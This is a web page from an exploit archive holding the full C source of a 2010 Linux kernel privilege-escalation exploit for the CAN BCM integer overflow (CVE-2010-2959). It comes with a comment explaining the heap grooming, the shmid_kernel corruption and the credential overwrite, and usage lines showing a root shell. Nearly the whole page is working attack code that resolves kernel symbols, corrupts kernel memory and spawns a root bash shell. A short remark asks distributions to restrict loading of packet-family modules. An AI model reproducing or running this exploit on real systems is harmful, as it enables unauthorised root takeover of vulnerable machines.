<!DOCTYPE HTML PUBLIC ‘-//W3C//DTD HTML 4.01 Transitional//EN’><html><head><meta http-equiv=’Content-Type’ content=’text/html; charset=windows-1251′><title>Linux Kernel &lt; 2.6.36-rc1 CAN BCM Privilege Escalation Exploit</title><link rel=’shortcut icon’ href=’/favicon.ico’ type=’image/x-icon’><link rel=’alternate’ type=’application/rss+xml’ title=’Inj3ct0r RSS’ href=’/rss’></head><body><pre>==============================================================
Linux Kernel &lt; 2.6.36-rc1 CAN BCM Privilege Escalation Exploit
==============================================================

/*
* i-CAN-haz-MODHARDEN.c
*
* Linux Kernel &lt; 2.6.36-rc1 CAN BCM Privilege Escalation Exploit
* Jon Oberheide &lt;jon@oberheide.org&gt;
* http://jon.oberheide.org
*
* Information:
*
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2959
*
* Ben Hawkes discovered an integer overflow in the Controller Area Network
* (CAN) subsystem when setting up frame content and filtering certain
* messages. An attacker could send specially crafted CAN traffic to crash
* the system or gain root privileges.
*
* Usage:
*
* $ gcc i-can-haz-modharden.c -o i-can-haz-modharden
* $ ./i-can-haz-modharden
* …
* [+] launching root shell!
* # id
* uid=0(root) gid=0(root)
*
* Notes:
*
* The allocation pattern of the CAN BCM module gives us some desirable
* properties for smashing the SLUB. We control the kmalloc with a 16-byte
* granularity allowing us to place our allocation in the SLUB cache of our
* choosing (we’ll use kmalloc-96 and smash a shmid_kernel struct for
* old-times sake). The allocation can also be made in its own discrete
* stage before the overwrite which allows us to be a bit more conservative
* in ensuring the proper layout of our SLUB cache.
*
* To exploit the vulnerability, we first create a BCM RX op with a crafted
* nframes to trigger the integer overflow during the kmalloc. On the second
* call to update the existing RX op, we bypass the E2BIG check since the
* stored nframes in the op is large, yet has an insufficiently sized
* allocation associated with it. We then have a controlled write into the
* adjacent shmid_kernel object in the 96-byte SLUB cache.
*
* However, while we control the length of the SLUB overwrite via a
* memcpy_fromiovec operation, there exists a memset operation that directly
* follows which zeros out last_frames, likely an adjacent allocation, with
* the same malformed length, effectively nullifying our shmid smash. To
* work around this, we take advantage of the fact that copy_from_user can
* perform partial writes on x86 and trigger an EFAULT by setting up a
* truncated memory mapping as the source for the memcpy_fromiovec operation,
* allowing us to smash the necessary amount of memory and then pop out and
* return early before the memset operation occurs.
*
* We then perform a dry-run and detect the shmid smash via an EIDRM errno
* from shmat() caused by an invalid ipc_perm sequence number. Once we’re
* sure we have a shmid_kernel under our control we re-smash it with the
* malformed version and redirect control flow to our credential modifying
* calls mapped in user space.
*
* Distros: please use grsecurity’s MODHARDEN or SELinux’s module_request
* to restrict unprivileged loading of uncommon packet families. Allowing
* the loading of poorly-written PF modules just adds a non-trivial and
* unnecessary attack surface to the kernel.
*
* Targeted for 32-bit Ubuntu Lucid 10.04 (2.6.32-21-generic), but ports
* easily to other vulnerable kernels/distros. Careful, it could use some
* post-exploitation stability love as well.
*
* Props to twiz, sgrakkyu, spender, qaaz, and anyone else I missed that
* this exploit borrows code from.
*/

#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;stdint.h&gt;
#include &lt;string.h&gt;
#include &lt;unistd.h&gt;
#include &lt;errno.h&gt;
#include &lt;fcntl.h&gt;
#include &lt;limits.h&gt;
#include &lt;inttypes.h&gt;
#include &lt;sys/types.h&gt;
#include &lt;sys/socket.h&gt;
#include &lt;sys/ipc.h&gt;
#include &lt;sys/shm.h&gt;
#include &lt;sys/mman.h&gt;
#include &lt;sys/stat.h&gt;

#define SLUB &quot;kmalloc-96&quot;
#define ALLOCATION 96
#define FILLER 100

#ifndef PF_CAN
#define PF_CAN 29
#endif

#ifndef CAN_BCM
#define CAN_BCM 2
#endif

struct sockaddr_can {
sa_family_t can_family;
int can_ifindex;
union {
struct { uint32_t rx_id, tx_id; } tp;
} can_addr;
};

struct can_frame {
uint32_t can_id;
uint8_t can_dlc;
uint8_t data[8] __attribute__((aligned(8)));
};

struct bcm_msg_head {
uint32_t opcode;
uint32_t flags;
uint32_t count;
struct timeval ival1, ival2;
uint32_t can_id;
uint32_t nframes;
struct can_frame frames[0];
};

#define RX_SETUP 5
#define RX_DELETE 6
#define CFSIZ sizeof(struct can_frame)
#define MHSIZ sizeof(struct bcm_msg_head)
#define IPCMNI 32768
#define EIDRM 43
#define HDRLEN_KMALLOC 8

struct list_head {
struct list_head *next;
struct list_head *prev;
};

struct super_block {
struct list_head s_list;
unsigned int s_dev;
unsigned long s_blocksize;
unsigned char s_blocksize_bits;
unsigned char s_dirt;
uint64_t s_maxbytes;
void *s_type;
void *s_op;
void *dq_op;
void *s_qcop;
void *s_export_op;
unsigned long s_flags;
} super_block;

struct mutex {
unsigned int count;
unsigned int wait_lock;
struct list_head wait_list;
void *owner;
};

struct inode {
struct list_head i_hash;
struct list_head i_list;
struct list_head i_sb_list;
struct list_head i_dentry_list;
unsigned long i_ino;
unsigned int i_count;
unsigned int i_nlink;
unsigned int i_uid;
unsigned int i_gid;
unsigned int i_rdev;
uint64_t i_version;
uint64_t i_size;
unsigned int i_size_seqcount;
long i_atime_tv_sec;
long i_atime_tv_nsec;
long i_mtime_tv_sec;
long i_mtime_tv_nsec;
long i_ctime_tv_sec;
long i_ctime_tv_nsec;
uint64_t i_blocks;
unsigned int i_blkbits;
unsigned short i_bytes;
unsigned short i_mode;
unsigned int i_lock;
struct mutex i_mutex;
unsigned int i_alloc_sem_activity;
unsigned int i_alloc_sem_wait_lock;
struct list_head i_alloc_sem_wait_list;
void *i_op;
void *i_fop;
struct super_block *i_sb;
void *i_flock;
void *i_mapping;
char i_data[84];
void *i_dquot_1;
void *i_dquot_2;
struct list_head i_devices;
void *i_pipe_union;
unsigned int i_generation;
unsigned int i_fsnotify_mask;
void *i_fsnotify_mark_entries;
struct list_head inotify_watches;
struct mutex inotify_mutex;
} inode;

struct dentry {
unsigned int d_count;
unsigned int d_flags;
unsigned int d_lock;
int d_mounted;
void *d_inode;
struct list_head d_hash;
void *d_parent;
} dentry;

struct file_operations {
void *owner;
void *llseek;
void *read;
void *write;
void *aio_read;
void *aio_write;
void *readdir;
void *poll;
void *ioctl;
void *unlocked_ioctl;
void *compat_ioctl;
void *mmap;
void *open;
void *flush;
void *release;
void *fsync;
void *aio_fsync;
void *fasync;
void *lock;
void *sendpage;
void *get_unmapped_area;
void *check_flags;
void *flock;
void *splice_write;
void *splice_read;
void *setlease;
} op;

struct vfsmount {
struct list_head mnt_hash;
void *mnt_parent;
void *mnt_mountpoint;
void *mnt_root;
void *mnt_sb;
struct list_head mnt_mounts;
struct list_head mnt_child;
int mnt_flags;
const char *mnt_devname;
struct list_head mnt_list;
struct list_head mnt_expire;
struct list_head mnt_share;
struct list_head mnt_slave_list;
struct list_head mnt_slave;
struct vfsmount *mnt_master;
struct mnt_namespace *mnt_ns;
int mnt_id;
int mnt_group_id;
int mnt_count;
} vfsmount;

struct file {
struct list_head fu_list;
struct vfsmount *f_vfsmnt;
struct dentry *f_dentry;
void *f_op;
unsigned int f_lock;
unsigned long f_count;
} file;

struct kern_ipc_perm {
unsigned int lock;
int deleted;
int id;
unsigned int key;
unsigned int uid;
unsigned int gid;
unsigned int cuid;
unsigned int cgid;
unsigned int mode;
unsigned int seq;
void *security;
};

struct shmid_kernel {
struct kern_ipc_perm shm_perm;
struct file *shm_file;
unsigned long shm_nattch;
unsigned long shm_segsz;
time_t shm_atim;
time_t shm_dtim;
time_t shm_ctim;
unsigned int shm_cprid;
unsigned int shm_lprid;
void *mlock_user;
} shmid_kernel;

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

int __attribute__((regparm(3)))
kernel_code(struct file *file, void *vma)
{
commit_creds(prepare_kernel_cred(0));
return -1;
}

unsigned long
get_symbol(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[512];
int ret = 0, oldstyle;

f = fopen(&quot;/proc/kallsyms&quot;, &quot;r&quot;);
if (f == NULL) {
f = fopen(&quot;/proc/ksyms&quot;, &quot;r&quot;);
if (f == NULL)
return 0;
oldstyle = 1;
}

while (ret != EOF) {
if (!oldstyle) {
ret = fscanf(f, &quot;%p %c %sn&quot;, (void **) &amp;addr, &amp;dummy, sname);
} else {
ret = fscanf(f, &quot;%p %sn&quot;, (void **) &amp;addr, sname);
if (ret == 2) {
char *p;
if (strstr(sname, &quot;_O/&quot;) || strstr(sname, &quot;_S.&quot;)) {
continue;
}
p = strrchr(sname, ‘_’);
if (p &gt; ((char *) sname + 5) &amp;&amp; !strncmp(p – 3, &quot;smp&quot;, 3)) {
p = p – 4;
while (p &gt; (char *)sname &amp;&amp; *(p – 1) == ‘_’) {
p–;
}
*p = ”;
}
}
}
if (ret == 0) {
fscanf(f, &quot;%sn&quot;, sname);
continue;
}
if (!strcmp(name, sname)) {
printf(&quot;[+] resolved symbol %s to %pn&quot;, name, (void *) addr);
fclose(f);
return addr;
}
}
fclose(f);

return 0;
}

int
check_slabinfo(char *cache, int *active_out, int *total_out)
{
FILE *fp;
char name[64], slab[256];
int active, total, diff;

memset(slab, 0, sizeof(slab));
memset(name, 0, sizeof(name));

fp = fopen(&quot;/proc/slabinfo&quot;, &quot;r&quot;);
if (!fp) {
printf(&quot;[-] sorry, /proc/slabinfo is not available!&quot;);
exit(1);
}

fgets(slab, sizeof(slab) – 1, fp);
while (1) {
fgets(slab, sizeof(slab) – 1, fp);
sscanf(slab, &quot;%s %u %u&quot;, name, &amp;active, &amp;total);
diff = total – active;
if (strcmp(name, cache) == 0) {
break;
}
}
fclose(fp);

if (active_out) {
*active_out = active;
}
if (total_out) {
*total_out = total;
}
return diff;
}

void
trigger(void)
{
int *shmids;
int i, ret, sock, cnt, base, smashed;
int diff, active, total, active_new, total_new;
int len, sock_len, mmap_len;
struct sockaddr_can addr;
struct bcm_msg_head *msg;
void *efault;
char *buf;

printf(&quot;[+] creating PF_CAN socket…n&quot;);

sock = socket(PF_CAN, SOCK_DGRAM, CAN_BCM);
if (sock &lt; 0) {
printf(&quot;[-] kernel lacks CAN packet family supportn&quot;);
exit(1);
}

printf(&quot;[+] connecting PF_CAN socket…n&quot;);

memset(&amp;addr, 0, sizeof(addr));
addr.can_family = PF_CAN;

ret = connect(sock, (struct sockaddr *) &amp;addr, sizeof(addr));
if (sock &lt; 0) {
printf(&quot;[-] could not connect CAN socketn&quot;);
exit(1);
}

len = MHSIZ + (CFSIZ * (ALLOCATION / 16));
msg = malloc(len);
memset(msg, 0, len);
msg-&gt;can_id = 2959;
msg-&gt;nframes = (UINT_MAX / CFSIZ) + (ALLOCATION / 16) + 1;

printf(&quot;[+] clearing out any active OPs via RX_DELETE…n&quot;);

msg-&gt;opcode = RX_DELETE;
ret = send(sock, msg, len, 0);

printf(&quot;[+] removing any active user-owned shmids…n&quot;);

system(&quot;for shmid in `cat /proc/sysvipc/shm | awk ‘{print $2}’`; do ipcrm -m $shmid &gt; /dev/null 2&gt;&amp;1; done;&quot;);

printf(&quot;[+] massaging &quot; SLUB &quot; SLUB cache with dummy allocationsn&quot;);

diff = check_slabinfo(SLUB, &amp;active, &amp;total);

shmids = malloc(sizeof(int) * diff * 10);

cnt = diff * 10;
for (i = 0; i &lt; cnt; ++i) {
diff = check_slabinfo(SLUB, &amp;active, &amp;total);
if (diff == 0) {
break;
}
shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
}
base = i;

if (diff != 0) {
printf(&quot;[-] inconsistency detected with SLUB cache allocation, please try againn&quot;);
exit(1);
}

printf(&quot;[+] corrupting BCM OP with truncated allocation via RX_SETUP…n&quot;);

i = base;
cnt = i + FILLER;
for (; i &lt; cnt; ++i) {
shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
}

msg-&gt;opcode = RX_SETUP;
ret = send(sock, msg, len, 0);
if (ret &lt; 0) {
printf(&quot;[-] kernel rejected malformed CAN headern&quot;);
exit(1);
}

i = base + FILLER;
cnt = i + FILLER;
for (; i &lt; cnt; ++i) {
shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
}

printf(&quot;[+] mmap’ing truncated memory to short-circuit/EFAULT the memcpy_fromiovec…n&quot;);

mmap_len = MHSIZ + (CFSIZ * (ALLOCATION / 16) * 3);
sock_len = MHSIZ + (CFSIZ * (ALLOCATION / 16) * 4);
efault = mmap(NULL, mmap_len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

printf(&quot;[+] mmap’ed mapping of length %d at %pn&quot;, mmap_len, efault);

printf(&quot;[+] smashing adjacent shmid with dummy payload via malformed RX_SETUP…n&quot;);

msg = (struct bcm_msg_head *) efault;
memset(msg, 0, mmap_len);
msg-&gt;can_id = 2959;
msg-&gt;nframes = (ALLOCATION / 16) * 4;

msg-&gt;opcode = RX_SETUP;
ret = send(sock, msg, mmap_len, 0);
if (ret != -1 &amp;&amp; errno != EFAULT) {
printf(&quot;[-] couldn’t trigger EFAULT, exploit aborting!n&quot;);
exit(1);
}

printf(&quot;[+] seeking out the smashed shmid_kernel…n&quot;);

i = base;
cnt = i + FILLER + FILLER;
for (; i &lt; cnt; ++i) {
ret = (int) shmat(shmids[i], NULL, SHM_RDONLY);
if (ret == -1 &amp;&amp; errno == EIDRM) {
smashed = i;
break;
}
}
if (i == cnt) {
printf(&quot;[-] could not find smashed shmid, trying running the exploit again!n&quot;);
exit(1);
}

printf(&quot;[+] discovered our smashed shmid_kernel at shmid[%d] = %dn&quot;, i, shmids[i]);

printf(&quot;[+] re-smashing the shmid_kernel with exploit payload…n&quot;);

shmid_kernel.shm_perm.seq = shmids[smashed] / IPCMNI;

buf = (char *) msg;
memcpy(&amp;buf[MHSIZ + (ALLOCATION * 2) + HDRLEN_KMALLOC], &amp;shmid_kernel, sizeof(shmid_kernel));

msg-&gt;opcode = RX_SETUP;
ret = send(sock, msg, mmap_len, 0);
if (ret != -1 &amp;&amp; errno != EFAULT) {
printf(&quot;[-] couldn’t trigger EFAULT, exploit aborting!n&quot;);
exit(1);
}

ret = (int) shmat(shmids[smashed], NULL, SHM_RDONLY);
if (ret == -1 &amp;&amp; errno != EIDRM) {
setresuid(0, 0, 0);
setresgid(0, 0, 0);

printf(&quot;[+] launching root shell!n&quot;);

execl(&quot;/bin/bash&quot;, &quot;/bin/bash&quot;, NULL);
exit(0);
}

printf(&quot;[-] exploit failed! retry?n&quot;);
}

void
setup(void)
{
printf(&quot;[+] looking for symbols…n&quot;);

commit_creds = (_commit_creds) get_symbol(&quot;commit_creds&quot;);
if (!commit_creds) {
printf(&quot;[-] symbol table not availabe, aborting!n&quot;);
}

prepare_kernel_cred = (_prepare_kernel_cred) get_symbol(&quot;prepare_kernel_cred&quot;);
if (!prepare_kernel_cred) {
printf(&quot;[-] symbol table not availabe, aborting!n&quot;);
}

printf(&quot;[+] setting up exploit payload…n&quot;);

super_block.s_flags = 0;

inode.i_size = 4096;
inode.i_sb = &amp;super_block;
inode.inotify_watches.next = &amp;inode.inotify_watches;
inode.inotify_watches.prev = &amp;inode.inotify_watches;
inode.inotify_mutex.count = 1;

dentry.d_count = 4096;
dentry.d_flags = 4096;
dentry.d_parent = NULL;
dentry.d_inode = &amp;inode;

op.mmap = &amp;kernel_code;
op.get_unmapped_area = &amp;kernel_code;

vfsmount.mnt_flags = 0;
vfsmount.mnt_count = 1;

file.fu_list.prev = &amp;file.fu_list;
file.fu_list.next = &amp;file.fu_list;
file.f_dentry = &amp;dentry;
file.f_vfsmnt = &amp;vfsmount;
file.f_op = &amp;op;

shmid_kernel.shm_perm.key = IPC_PRIVATE;
shmid_kernel.shm_perm.uid = getuid();
shmid_kernel.shm_perm.gid = getgid();
shmid_kernel.shm_perm.cuid = getuid();
shmid_kernel.shm_perm.cgid = getgid();
shmid_kernel.shm_perm.mode = -1;
shmid_kernel.shm_file = &amp;file;
}

int
main(int argc, char **argv)
{
setup();
trigger();
return 0;
}

# <a href=’http://inj3ct0r.com/’>Inj3ct0r.com</a> [2010-08-27]</pre><script type=’text/javascript’>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src=’" + gaJsHost + "google-analytics.com/ga.js’ type=’text/javascript’%3E%3C/script%3E"));</script><script type=’text/javascript’>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
Source: http://inj3ct0r.com/exploits/10231